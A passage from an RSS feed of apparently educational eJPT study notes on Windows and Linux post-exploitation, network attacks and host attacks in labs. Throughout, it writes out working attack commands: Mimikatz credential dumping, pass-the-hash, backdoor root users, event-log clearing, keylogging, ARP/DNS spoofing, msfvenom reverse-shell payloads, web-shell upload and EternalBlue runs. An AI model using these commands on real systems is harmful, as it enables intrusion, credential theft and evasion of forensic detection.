We can then upload the Mimikatz executable on the target system.</p><pre>upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe</pre><p>We can then open up a shell session and run the executable. The first thing would be to check our privileges after we have run the executable and then we can dump the SAM database.</p><pre>privilege::debug<br>lsadump::sam<br>lsadump::secrets</pre><p>Another useful thing we can run with Mimikatz is that if the system is set to log the logon passwords in cleartext, we can view them by running sekurlsa::logonpasswords.</p><h3>Pass-the-Hash attack with PsExec</h3><p>It is an exploitation technique that involves capturing or harvesting NTLM hashes or clear-text passwords and utilizing them to authenticate with the target legitimately. This will allow us to gain access as opposed to obtaining access via service exploitation.</p><p>We can use the Metasploit PsExec module or the Crackmapexec tool to do this. You need the LM hash as well as the NTLM hash to do this.</p><pre># The exploit module within Metasploit is:<br>exploit/windows/smb/psexec</pre><pre>set SMBUser (username)<br>set SMBPass (LM_hash:NTLM_hash)</pre><p>You will have to set a target to get a meterpreter session.</p><pre>crackmapexec smb (target ip) -u (username) -H &quot;NTLM Hash&quot; -X &quot;any command you&#39;d like to run&quot;</pre><h3>Establishing Persistence</h3><p>Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Gaining an initial foothold is not enough, we have to setup and maintain persistent access to your targets.</p><p>Note that to setup persistence, we will need elevated privileges. We can use any of the Windows persistence module available but the module we are looking for is the persistence_service module. Once we have run the module, we can then setup our multi/handler to connect back to the target whenever we need to re-gain access.</p><pre>use windows/local/persistence_service</pre><h3>Enabling RDP</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aEV3eyTuSucLFImE" /></figure><p>After gaining access, we can use the Metasploit module enable_rdp. Since we need cleartext credentials for this, we can crack the hashes or just change the administrator password (which is obviously not recommended in a real scenario). To do this, open up a shell and run the following command:</p><pre>net user administrator password_123</pre><p>Alternatively, we can use the xfreerdp tool to connect:</p><pre>xfreerdp /u:administrator /p:password_123 /v:target_ip</pre><p><strong>The lab link:-</strong><a href="https://medium.com/@dharmendrastm/windows-enabling-remote-desktop-06a85861babe"> Enabling RDP</a></p><h3>Keylogging</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oIeBPtolSFTO81Ni" /></figure><p>This is the process of recording or capturing the keystrokes entered on a target system. It’s not limited to post-exploitation, there are plenty of programs and USB devices can be used to capture and transmit the keystrokes entered on a system. We can perform keylogging using meterpreter.</p><p>Firstly, we need to migrate to the explorer process, and we can use the keyscan_dump, keyscan_start and keyscan_stop.</p><p>The lab link:- <a href="https://medium.com/@dharmendrastm/windows-file-and-keylogging-39990cd8ef0d">Keylogging</a></p><h3>Clearing Windows Event Logs</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HSIuwF9Rd_7KshSn" /></figure><p>Windows stores and catalogues all actions/events performed on the system and stores them in the Windows Event log. They are categorized based on the type of events they store:</p><ul><li>Application logs — stores application/program events like start-ups, crashes, etc.</li><li>System logs — stores system events like start-ups, reboots, etc.</li><li>Security logs — stores security events like password changes, authentication failures, etc.</li></ul><p>Event logs can be accessed via the Event Viewer on Windows. It is very important to clear your tracks after the assessment as the event logs are the first stop for any forensic investigator after a compromise has been detected. To clear the event logs with meterpreter, all you have to do is type clearev. Note that you have to have administrator privileges to do this.</p><p>The lab link:- <a href="https://medium.com/@dharmendrastm/clearing-windows-event-logs-ea7dc3e64cc7">Windows Event</a></p><h3>Pivoting</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WgcAAYRakv6L8PPmhXtsdw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8BTLVf1Q65Jf1VfC" /></figure><p>This is a post-exploitation technique that involves utilizing a compromised host to attack other systems on the compromised host’s private internal network. After gaining access to the host, we can use the compromised host to exploit other hosts on the same internal network to which we could not access previously.</p><p>Since we have gained access to the first target, to pivot to the second target, we add a route using the following meterpreter command:</p><pre>run autoroute -s 10.10.10.0/20 (replace with target_ip followed by subnet)</pre><p>We can now run a port-scanning auxiliary module to run a scan from the first target system. Since we can see that port 80 is open and we’d like to scan it, we have to forward it to our system. We can do this from our meterpreter session on target 1.</p><pre>portfwd add -l 1234 (our port to listen on) -p 80 (port to forward) -r 10.10.10.10 (target2_ip)</pre><p>We can now run an Nmap scan within Metasploit on target 2.</p><pre>db_nmap -sS -sV -p 1234 localhost</pre><p>Since we can see that it is also running the Bad Blue service, we can exploit it, but we have to set the payload to a bind connection as a reverse connection will not work.</p><pre>set payload windows/meterpreter/bind_tcp</pre><p>The lab link:- <a href="https://medium.com/@dharmendrastm/pivoting-5e093e13aeb8">Pivoting</a></p><h3>Linux Post-Exploitation</h3><p>Again, the objective is the same as we would do for Windows — but this time for Linux. We can enumerate some extra information on Linux systems via opening up a command shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*9l6SwOb9xhpCIswKycwPoA.png" /></figure><p><strong>Some Useful Linux Post-Exploitation Modules</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*Hubz0D4xCOsKuozWHePYEQ.png" /></figure><h3>Linux Privilege Escalation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*hEsiYf-Nd8OhuuuZ" /></figure><p>Metasploit offers very little with regards to Linux kernel exploit modules, however, is some cases, there may be an exploit module that can be utilized to exploit a vulnerable service or program in order to elevate our privileges.</p><p>Once we have gained initial unprivileged access to the target system, let’s upgrade our shell session to a meterpreter session and then spawn a bash session. Now, let’s have a look at the process tree using the ps aux command.</p><p>We can see that there is a binary which is run by the root user. Let’s cat out the contents of the /bin/check-down process. We can see that chrootkit is running. In this case, chrootkit is vulnerable to an exploit. We can use the Metasploit module to exploit it. We need to select the path to the chkrootkit path and run it. Then it will wait for the Cron job to run, and we will have elevated privileges.</p><h3>Dumping Hashes with Hashdump</h3><p>Hashdump is a post-exploitation module. It is a direct command within meterpreter that work on Windows systems but we will have to use the module for Linux systems.</p><p>Linux password hashes are stored in the /etc/shadow file and can only be accessed by the root user or a user with root privileges. The hashdump module can be used to dump the hashes from the /etc/shadow file and to unshadow the hashes for password cracking with John the Ripper.</p><h3>Establishing Persistence</h3><p>In order to establish persistence on a Linux system, you will require root privileges.</p><p>The first way to do this, is to set up a backdoor user that will allow us to reconnect to the system. This will only work if the system is running SSH. We can do this by opening up a bash shell.</p><pre>useradd -m ftp (or other username) -s /bin/bash &lt;-- Create the user<br>passwd ftp                                      &lt;-- Setting the password<br>usermod -aG root ftp                            &lt;-- Adding user to root group<br>usermod -u 15 ftp                               &lt;-- Modifies the account ID</pre><p>One Metasploit module we can use to establish persistence is cron_persistence or sshkey_persistence or service_persistence.</p><h3>Metasploit GUIs — Armitage</h3><p>Armitage is a free Java based GUI front-end for the Metasploit Framework. It’s used to simplify network discovery, exploitation and post-exploitation.</p><p>Armitage requires the MSF database and the Metasploit backend services to be enabled and running in order to function correctly. It comes pre-packaged with Kali Linux. So, once you have Metasploit started up and running, you can type armitage in the terminal to open it up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WXY0AQN7mDotyBHafivUKg.png" /></figure><p>Thankyou for Reading!</p><p><strong>HAPPY CTF HACKING!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=24439d1238c5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT — 3.2 Network Based Attacks]]></title>
            <link>https://dharmstm.medium.com/ejpt-3-2-network-based-attacks-6f0d4d41b455?source=rss-65613310e14b------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f0d4d41b455</guid>
            <dc:creator><![CDATA[Dharmendrakumar]]></dc:creator>
            <pubDate>Sat, 04 Oct 2025 03:27:07 GMT</pubDate>
            <atom:updated>2025-10-27T23:28:27.833Z</atom:updated>
            <content:encoded><![CDATA[<h3>eJPT — 3.2 Network Based Attacks</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*42w9sQ9vKw8loGEN" /></figure><p>Topics:</p><ul><li>Networking Fundamentals</li><li>SMB &amp; NetBIOS Enumeration</li><li>SNMP Enumeration</li><li>SMB Relay Attack</li></ul><h3>Networking Fundamentals</h3><p>In a computer network, hosts communicate with each other through the use of network protocols. These ensure that different computer systems can communicate with each other. This communication between different hosts is transferred or facilitated via the use of packets.</p><p>The purpose of networking is to exchange information between hosts. Packets are just bits (i.e. electrical signals), which when translated by a computer, make up information. Every packet has a header and a payload:</p><ul><li>The header has a protocol-specific structure (i.e. TCP or UDP) which insures that the receiving host can correctly interpret the payload and handle the communication or information transfer.</li><li>The payload is the actual information or data that’s being sent.</li></ul><p>A header with contain essential information which include the source and destination of IP addresses, version number, TTL (Time To Live), and the protocol type.</p><p>You can view more notes on these<a href="https://dharmendrastm.medium.com/ejpt-1-2-footprinting-scanning-f2f49b9564f5"> fundamentals here.</a></p><h3>SMB &amp; NetBIOS Enumeration</h3><p>While NetBIOS and SMB were once closely linked, modern networks rely primarily on SMB for file and printer sharing, often using DNS &amp; other mechanisms for name resolution instead of NetBIOS. Modern implementations of Windows primarily use SMB and can work without NetBIOS, however, NetBIOS over TCP port 139 is required for backward compatibility and are often enabled together.</p><p>You can view additional notes for this section here.</p><h3>SMB</h3><p>SMB provides features for file and printer sharing, named pipes and inter-process communication (IPC). It allows users to access files on remote computers as if they were local. SMB has several versions:</p><ul><li>SMB 1.0 The original version, which had security vulnerabilities. Was used with Windows XP.</li><li>SMB 2.0/2.1 Introduced with Windows Vista, Server 2008. Had improved performance and security.</li><li>SMB 3.0+ Introduced with Windows 9, Server 2012. Added features like encryption, multi-channel support and improvements for virtualization.</li></ul><p>SMB normally uses 445 for direct SMB traffic (bypassing NetBIOS) and port 139 when operating with NetBIOS.</p><h3>NetBIOS</h3><p>NetBIOS is an API and a set of network protocols for providing communication services over a local network. It’s used primarily to allow application on different computers to find and interact with each other on a network. It offers 3 primary services:</p><ol><li>Name Service (NetBIOS-NS) Allows computers to register, unregister and resolve names in a local network</li><li>Datagram Service (NetBIOS-DGM) Supports connectionless communication and broadcasting</li><li>Session Service (NetBIOS-SSN) Supports connection-oriented communication for more reliable data transfers</li></ol><p>NetBIOS typically uses ports 137 (NS), 138 (DGM) and 139 (SSN) over UDP and TCP.</p><h3>Lab Notes</h3><p>In this case, we have two Windows systems to attack. We will be able to access the second system by pivoting from the first machine.</p><p>We can use a tool called nbtscan which we can use to scan networks for NetBIOS name information. You could also use nmblookup and specify an IP using the -A flag. In this case neither of these tools will work.</p><p>Once we have run out Nmap service version detection scan. We can now use an Nmap script to check or enumerate the version of SMB. It’s called smb-protocols. We can also check the security level of SMB on a target with the smb-security-mode Nmap script. To search for Nmap scripts:</p><pre>ls -al /usr/share/nmap/scripts/ | grep -e &quot;smb&quot;</pre><p>Once we’ve identified what versions of SMB are accepted on the target and the security level, we can test for vulnerabilities via logging in as an anonymous user using smbclient. This works and we can see all the share names.</p><p>Since we can login anonymously and the system is running SMBv1, we can enumerate the users. We can use the Nmap script smb-enum-users to do so. We can now use the information gathered, we can brute-force passwords for those accounts. Firstly, create a file called users.txt with those usernames. We can now use Hydra to brute-force passwords.</p><p>Once we have obtained credentials, we can use PsExec or the Metasploit module to get a meterpreter session on the target system. Now that we have a meterpreter session, we can ping the second target system. We can then configure the network route:</p><pre>run autoroute -s (subnet of ip of target2)</pre><p>We will now use the Metasploit module socks_proxy. We will also open up proxy chains on our Kali machine to run an Nmap scan on the second target.</p><pre>proxychains nmap demo1.ine.local -sT -Pn -sV -p445</pre><p>Now using our original meterpreter session, we can use net view to see what resources are shared. Now that we can see what shares are available, we can map those disks to our system by running the following command:</p><pre>net use D: \\target_ip\diskname</pre><p>Now that they are on our system, we can navigate to them and view the contents.</p><h3>SNMP Enumeration</h3><p>SNMP stands for Simple Network Management Protocol. It’s a widely used protocol for monitoring and managing several networked devices, such as routers, switches, etc. It allows network administrators to query devices for status information, configure certain settings and receive alerts or traps when specific events occur.</p><p>It’s an application layer protocol that typically uses UDP for transport. It involves 3 primary components:</p><ul><li>SMNP manager — the system responsible for querying and interacting with SNMP agents on networked devices</li><li>SNMP agent — software running on networked devices that responds to SNMP queries and sends traps</li><li>MIB (Management Information Base) — a hierarchical database that defines the structure of data available through SNMP and each piece of data has a unique OID (Object Identifier)</li></ul><p>It also has several versions:</p><ul><li>v1 — earliest version, relies on community strings (passwords) for authentication</li><li>v2 — improved version with support for bulk transfers, relies on passwords for authentication</li><li>v3 — introduced security features, encryption, message integrity and user-based authentication</li></ul><p>It mainly runs on:</p><ul><li>Port 161 — which is used for SNMP queries</li><li>Port 162 — which is used for SNMP traps (notifications)</li></ul><p>In penetration testing, we need to query SNMP-enabled devices to gather information useful for identifying potential vulnerabilities, misconfigurations or attack vectors. Key objectives:</p><ul><li>Identify SNMP enabled devices</li><li>Extract system information</li><li>Identify SNMP community strings (i.e. passwords)</li><li>Retrieve network configurations</li><li>Collect user and group information</li><li>Identify services and applications</li></ul><p>After our Nmap scan, we can see that port 161 is open and that it’s running v1. We can use the Nmap script snmp-brute like the following:</p><pre>nmap -sU -p161 --script=snmp-brute target_ip</pre><p>We can use the tool snmpwalk to extract more information from SNMP that we previously couldn&#39;t without the community strings. It&#39;s an SNMP application that uses SNMP get next requests to query for a tree of information.</p><pre>snmpwalk -v (version of SNMP) -c (the community string)</pre><p>The data that it outputs is not readable at all. So, we can run all the Nmap scripts on the target.</p><pre>nmap -sU -p161 --script snmp-* target_ip &gt; snmp_info</pre><p>After running this, we can see what users are on the system and then leverage this to perform a brute-force attack and gain credentials. We can then login to the system via PsExec or the Metasploit module psexec to access the system via SMB.</p><h3>SMB Relay Attack</h3><p>This is a type of network attack where an attacker intercepts SMB traffic, manipulates it and relays it to a legitimate server to gain unauthorized access to resources or perform malicious actions. This is common in Windows.</p><p>That attacker sets up a man-in-the-middle position between the client and the server. This can be done using various techniques, such as ARP spoofing, DNS poisoning or setting up a rogue SMB server. When a client connects to a legitimate server via SMB, it sends authentication data. The attacker captures this data, which might include NTLM hashes.</p><p>Instead of decrypting the captured NTLM hash, the attacker relays it to another server that trusts the source. This allows the attacker to impersonate the user whose hash was captured. Alternatively, we can use this NTLM hash to login to the SMB server. If the relay is successful, the attacker can gain access to the resources on the server, which might include sensitive files, databases or administrative privileges. This access to lead to further lateral movement within the network, compromising additional systems.</p><p>We will setup the SMB relay via a Metasploit module called smb_relay. Now that we have the relay set to our target system, we can move onto the next step. We can create a new file which will contain DNS records. We will set our IP to resolve to the top-level domain of our target:</p><pre>echo &quot;172.16.5.101 *.sportsfoo.com&quot; &gt; dns</pre><p>We can now use dnsspoof and spoof via our interface eth1 and the file that contains the DNS record that we just created. This will essentially point all the requests to the target domain to our system.</p><pre>dnsspoof -i eth1 -f dns</pre><p>We can now set up the man-in-the-middle attack by utilizing ARP spoofing. Our goal is to poison the traffic between our victim (Windows 7 system) and the default gateway. This will allow us to manipulate the traffic via dnsspoof. Firstly, we need to enable IP forwarding.</p><pre>echo 1 &gt; /proc/sys/net/ipv4/ip_foward</pre><p>Now, in 2 separate terminals, we will set up our ARP spoof against both the Windows 7 system and the gateway.</p><pre>#Terminal 1<br>arpspoof -i eth1 -t 172.16.5.5 (Windows 7) 172.16.5.1 (Gateway)</pre><pre>#Terminal 2<br>arpspoof -i eth1 -t 172.16.5.1 (Gateway) 172.16.5.5 (Windows 7)</pre><p>Every time the Windows 7 systems sends an SMB request or connection to the gateway, it’s intercepted by dnsspoof which forges replies telling it that the IP address they are looking for resolves to our system. Now, the Metasploit module will grab those NTLM hashes and use them to get a shell or a meterpreter session.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f0d4d41b455" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT — 3.1 System/Host Based Attacks]]></title>
            <link>https://dharmstm.medium.com/ejpt-3-1-system-host-based-attacks-956cfbe914bb?source=rss-65613310e14b------2</link>
            <guid isPermaLink="false">https://medium.com/p/956cfbe914bb</guid>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[penetration-testing-tools]]></category>
            <category><![CDATA[windows-vulnerability]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Dharmendrakumar]]></dc:creator>
            <pubDate>Wed, 24 Sep 2025 13:19:15 GMT</pubDate>
            <atom:updated>2025-09-24T13:19:15.446Z</atom:updated>
            <content:encoded><![CDATA[<h3>eJPT — 3.1 System/Host Based Attacks</h3><p>Hi all!</p><p>Welcome to our System/Host Based Attacks blog</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LOYDMrRPPxAuehQn" /></figure><p>Topics:</p><ul><li>Introduction</li><li>Exploiting Windows Vulnerabilities</li><li>Windows Privilege Escalation</li><li>Windows File System Vulnerabilities</li><li>Windows Credential Dumping</li></ul><h3>Introduction</h3><p>These are attacks that are targeted towards a specific system or host running a specific operating system. Network services are not the only attack vector that can be targeted during a penetration test. System or host-based attacks usually come into play after you have gained access to a target network, whereby, you will be required to exploit servers, workstations, or laptops on the internal network.</p><p>These attacks are primarily focused on exploiting inherent vulnerabilities on the target OS. Unlike network-based attacks, host-based attacks are much more specialised and require an understanding of the target OS and the vulnerabilities that affect those operating systems. It involves exploiting misconfigurations and inherent vulnerabilities within the target OS.</p><p>We have covered some of the notes for this section previously — <a href="https://medium.com/@dharmendrastm/ejpt-1-4-vulnerability-assessment-85ed97372f20">Vulnerability Assessment Page</a>.</p><h3>Exploiting Windows Vulnerabilities</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xWVDhPLCfEtPAjXd" /></figure><h3>Microsoft IIS WebDAV</h3><p>The first step is to run an Nmap scan on the target and perform service version detection.</p><pre>nmap -sV -sC (target ip)<br>nmap -sV -p 80 --script=http-enum (target ip)</pre><p>In order to run a brute-force on the WebDAV directory, to find the username and password. We don’t need to perform a brute-force this time as we have been given the credentials.</p><pre>hydra -L /usr/share/wordlists/metasploit/common_users.txt -P /usr/share/wordlists/metasploit/common_passwords.txt (target ip) http-get /webdav</pre><p>Since WebDAV allows us to install files into the web server, we will use davtest which will perform a series of checks to then tell us what types of files we can upload to the server.</p><pre>davtest -auth user:password -url http://target_ip/webdav/</pre><p>In this case, we can see that .asp files can be executed, so we can utilize the cadaver utility to upload an .asp payload. Cadaver will give us a shell with the server.</p><pre>To open a shell on the web server:<br>cadaver http://target_ip/webdav</pre><p>Kali comes pre-packaged with web shells that can be executed. They are under the directory:</p><pre>ls -al /usr/share/webshells/</pre><p>We can the use the webshell.asp file and upload it onto the WebDAV server, so within the WebDAV shell that we open previously with cadaver:</p><pre>put /usr/share/webshells/asp/webshell.asp</pre><p>We can then launch the web shell by clicking on it within the WebDAV directory. We can then run Windows commands in that web shell in the browser.</p><p>WebDAV <a href="https://medium.com/@dharmendrastm/exploit-the-webdav-service-and-retrieve-the-flag-979d35f63dbe">Exploitation page</a></p><h3>WebDAV with Metasploit</h3><p>So, to start, we’ll perform the same Nmap scans. To generate the meterpreter staged payload:</p><pre>msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip LPORT=1234 -f asp &gt; shell.asp</pre><p>We can now use cadaver to upload it to the WebDAV directory.</p><pre>cadaver http://target_ip/webdav<br>put /root/shell.asp</pre><p>Before executing the payload, we have to set up a listener within Metasploit.</p><pre>service postgresql start<br>msfconsole<br>use multi/handler<br>set payload windows/meterpreter/reverse_tcp<br>set LHOST your_ip<br>set LPORT 1234<br>run</pre><p>There is another method to perform this automatically which is to use a Metasploit module. It’s called the iis_webdav_upload_asp. The following options need to be configured:</p><pre>set HttpUsername User<br>set HttpPassword Pass<br>set RHOSTS target_ip<br>set PATH /webdav/metasploit.asp<br>exploit</pre><p>WebDAV With Metasploit <a href="http://Exploiting WebDAV With Metasploit">Exploitation page</a></p><h3>SMB with PsExec</h3><p>We can utilize PsExec legitimately with credentials to obtain a shell on the target system. To obtain credentials, we can perform a brute-force attack on SMB. Once you’ve obtained credentials, we can then authenticate with the SMB server via PsExec and obtain a reverse shell.</p><p>The first step is to run an Nmap service version and script scan to obtain some information. We can automate the brute-force with Metasploit. We are looking for smb_login module. Now that we have obtained credentials, we can authenticate with the target system via PsExec. However, we cannot run Windows executables on Linux but there is a Python script available.</p><pre>psexec.py username@target_ip cmd.exe</pre><p>To extend our access and gain a meterpreter session, we can utilize another Metasploit module called psexec. Once you&#39;ve set the options, you can exploit SMB and gain access.</p><p>SMB With PsExec <a href="https://medium.com/@dharmendrastm/exploitaiton-smb-with-psexec-8e30b3fe71f9">Exploitaiton page</a></p><h3>CVE-2017–0144 EternalBlue</h3><p>The Windows SMB vulnerability EternalBlue (MS17–010 / CVE-2017–0144) is the name given to a collection of Windows vulnerabilities and exploits that allow attackers to remotely execute arbitrary code and gain access to a Windows system and consequently the network that the target system is a part of.</p><p>It was developed by the NSA and then leaked to the public by a hacker group called the Shadow Brokers in 2017. It takes advantage of a vulnerability in the SMBv1 protocol that allows attackers to send specially crafted packets that allow to get a meterpreter session or a reverse shell.</p><p>It was used in the WannaCry ransomware attack on June 27, 2017 to exploit other Windows systems across networks with the objective of spreading the ransomware to as many systems as possible.</p><p>It affects multiple versions of Windows:</p><ul><li>Windows Vista</li><li>Windows 7</li><li>Windows Server 2008</li><li>Windows 8.1</li><li>Windows Server 2012</li><li>Windows 10 (only a certain build)</li><li>Windows Server 2016</li></ul><p>Microsoft released patch for vulnerability in 2017 but many systems and companies have not yet patched their systems. It has an MSF auxiliary module that can be used to check if a target system is vulnerable to the exploit. It also has an exploit module that can be used to exploit the vulnerability on unpatched systems.</p><p>The auxiliary module — smb_ms17_010<br>The exploit module - ms17_010_eternalblue</p><p>You can also manually exploit the vulnerability by utilizing publicly available exploits. To exploit it manually, it’s called AutoBlue-MS17–010 and can be found <a href="https://github.com/3ndG4me/AutoBlue-MS17-010">here</a>.</p><pre>cd shellcode<br>chmod +x shell_prep.sh<br>./shell_prep.sh</pre><pre>chmod +x eternalblue_exploit7.py<br>python eternalblue_exploit7.py (target ip) shellcode/sc_x64.bin</pre><p>You can check if a system is vulnerable to this attack via Nmap:</p><pre>nmap -sV -p445 --script=smb-vuln-ms17-010 (target ip)</pre><p>Tip to set up a netcat listener:</p><pre>nc -nvlp (the port you are listening on)</pre><p>EternalBlue <a href="https://medium.com/@dharmendrastm/expoliting-windows-smbv1-vulnerability-137b6c56206d">exploitation page</a></p><h3>RDP {Remote Desktop Protocol}</h3><p>We would start as normal with an Nmap scan to determine what ports are open and what services are running on them. If RDP has been configured to run on a port other than 3389, we may see an unknown service listed. To check or confirm if RDP is running, we can utilize a Metasploit auxiliary module, called rdp_scanner.</p><p>To gain credentials to login to the system via RDP, we are going to brute-force the system.</p><pre>hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt rdp://target_ip -s target_port</pre><p>In this lab, the tool freerdp does not work, so we&#39;ll be using xfreerdp.</p><pre>xfreerdp /u:username /p:password /v:target_ip:port</pre><p>Once authenticated, it will open a GUI of the Windows server.</p><p>RDP <a href="https://medium.com/@dharmendrastm/exploiting-rdp-14909484daf9">Exploitation page</a></p><h3>CVE-2019–0708 BlueKeep</h3><p>The Windows RDP vulnerability BlueKeep (CVE-2019–0708) is the name given to a vulnerability that can potentially allow attackers to remotely execute arbitrary code and gain access to a Windows system. It was made public by Microsoft in May 2019 alongside which they released a patch for companies to repair. When discovered, about 1 million systems were vulnerable.</p><p>This exploit takes advantage of a vulnerability in the Windows RDP protocol that allows attackers to gain access to the kernel memory and execute code remotely at the system level without needing authentication.</p><p>It affects multiple versions of Windows:</p><ul><li>XP</li><li>Vista</li><li>Windows 7</li><li>Windows Server 2008 &amp; R2</li></ul><p>It has many various illegitimate proof of concepts and exploit code that could be malicious in nature and is therefore recommended to only use verified exploit code and modules for exploitation. It has an auxiliary and exploit module that can be used to exploit unpatched systems.</p><p>The auxiliary module — cve_2019_0708_bluekeep<br>The exploit module - cve_2019_0708_bluekeep_rce</p><p>Note that targeting Kernel space memory and applications will and can cause crashes. To avoid this, you want to be very careful and reduce the space that you are exploiting.</p><p>RDP vulnerability BlueKeep <a href="https://medium.com/@dharmendrastm/exploiting-windows-cve-2019-0708-rdp-vulnerability-bluekeep-2ad9e5989657">Exploitation page</a></p><h3>WinRM</h3><p>This is a feature that runs on Windows but it’s not configured by default. It stands for Windows Remote Management protocol. It can be used to facilitate remote access with Windows systems over HTTP(S). It implements access control and security for communication between systems through various forms of authentication, either by a normal username and password or a username and a hashed password.</p><p>It is typically used in the following ways:</p><ul><li>Remotely access and interact with Windows hosts on a LAN</li><li>Remotely access and execute commands on Windows systems</li><li>Manage and configure Windows systems remotely</li></ul><p>WinRM normally runs on port 5985 or port 5986 if SSL is enabled.</p><p>We can use a tool called Crackmapexec to perform a brute-force attack on WinRM in order to identify users and their passwords as well as to execute commands on the target system. We can also use a ruby script called evil-winrm to obtain a command shell session on the target system.</p><p>Note that you can also use Crackmapexec on MsSQL, SMB, SSH as well as WinRM.</p><pre>crackmapexec winrm target_ip -u administrator -p /usr/sahre/metasploit-framework/data/wordlists/unix_passwords.txt</pre><pre>crackmapexec winrm target_ip -u administrator -p password -x &quot;whoami&quot;</pre><p>To now obtain a shell, we can use evil-winrm.</p><pre>evil-winrm -u usernmae -p &#39;password&#39; -i target_ip</pre><p>You can also obtain a meterpreter session via Metasploit. There is an exploit module called winrm_script_exec. It will require credentials before being exploited.</p><p>WinRM <a href="https://medium.com/@dharmendrastm/winrm-exploitation-with-metasploit-94f248ad654f">Exploitation page</a></p><h3>Windows Privilege Escalation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xmvzg8DMKqpLBCc4" /></figure><p>This is the process of exploiting vulnerabilities or misconfigurations in systems to elevate privileges from one user to another, typically to a user with administrative privileges to perform tasks that require administrative privileges. It’s a vital element of the attack life cycle and is a major determinant in the overall success of a penetration test.</p><h3>Windows Kernel</h3><p>A kernel is a computer program that is the core of an OS and has complete control over every resource and hardware on a system. It acts as a translation layer between hardware and software that facilitates the communication between these two layers.</p><p>Windows NT is the kernel that comes pre-packaged with all versions of Windows and operates as a traditional kernel with a few exceptions based on user design philosophy. It consists of two main modes of operation that determine access to system resources and hardware:</p><ol><li>User mode — programs and services running in user mode have limited access to system resources and functionality</li><li>Kernel mode — has unrestricted access to system resources and functionality with the added functionality of managing devices and system memory</li></ol><p>If we are trying to execute code within the kernel, we want to do it within the kernel mode as that will mean that the code is executed with the highest level of administrator privileges.</p><h4>Window Kernel Exploitation</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dfCX2Ny0jWWejttr" /></figure><p>Kernel exploits on Windows will typically target vulnerabilities in the Windows kernel to execute arbitrary code in order to run privileges system commands or to obtain a system shell. The process will differ based on the version of Windows being targeted and the kernel exploit being used. It may however causes system crashes and data loss so is best to avoid in an enterprise environment.</p><p>Privilege escalation on Windows systems will typically follow the following methodology:</p><ul><li>Identify kernel vulnerabilities</li><li>Download, compile and transfer kernel exploit onto the target system for execution</li></ul><p>The following process has been demonstrated on Windows 7 SP1 VM.</p><p>In this case, the Windows-Exploit-Suggester tool has been used. It compares a targets patch level against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins. It can be found on GitHub <a href="https://github.com/AonCyberLabs/Windows-Exploit-Suggester/">here</a>. A collection of Windows kernel exploits sorted by CVE can be found <a href="https://github.com/SecWiki/windows-kernel-exploits/tree/master/">here</a> on GitHub and in this case, we will be using MS16–135.</p><p>To escalate your privileges within meterpreter, use the command getsystem to automatically escalate privileges. There is also a post-exploitation module called local_exploit_suggester. This will enumerate all the vulnerabilities within the specific version of Windows and it will display what exploit modules will work. You can then check which exploit modules will work on what versions of Windows.</p><p>To use the Windows-Exploit-Suggester tool, you can refer to the GitHub pages for information on how to download and run it. To use it, you first have to obtain a meterpreter session on the less privileged user and copy the sysinfo information into a text file.</p><pre>./windows-exploit-suggester.py --database (the database that you generate) --systeminfo (the location of the text file with the sysinfo information)</pre><p>This will then identify which vulnerabilities that the particular version of Windows is vulnerable to. In this case, the first/most successful vulnerability which the system is vulnerable to is MS16–135. You can then download the binary executable, transfer it to the target system and execute it. Note that this does not take into account any anti-virus or anti-malware measures.</p><p>When transferring files into a Windows or Linux system, always upload them into the Temp directory as it’s less likely to be detected and noticed by the user of that system.</p><h3>Bypassing UAC with UACMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1Am6WY3x5__9KaYL" /></figure><p>UAC stands for User Account Control. It’s a security feature introduced in Windows Vista that is used to prevent unauthorized changes from being made to the OS and would require approval from the administrator.</p><p>A non-privileged user attempting to execute a program with elevated privileges will be prompted with the UAC credential prompt whereas a privileged user will be prompted with a consent prompt. Attacks can bypass UAC in order to execute malicious executables with elevated privileges.</p><p>In order to successfully bypass UAC, we will need to have access to a user account that is part of the local administrators group on the Windows target system. UAC has various integrity levels ranging from low to high, if the UAC protection level is set below high, Windows programs can be executed with elevated privileges without prompting the user for confirmation.</p><p>UACMe is an open source, robust privilege escalation tool. it can bypass UAC on multiple versions of Windows ranging from 7 to 10. It allows attackers to execute malicious payloads on a Windows target with elevated privileges by abusing the inbuilt Windows AutoElevate tool. The GitHub repository has more than 60 exploits than can be used to bypass UAC depending on the version of Windows running on the target. You can find the GitHub page <a href="https://github.com/hfiref0x/UACME/">here</a>.</p><p>We can perform an Nmap scan on the target system. We can see that port 80 is open and vulnerable. We can exploit it using the 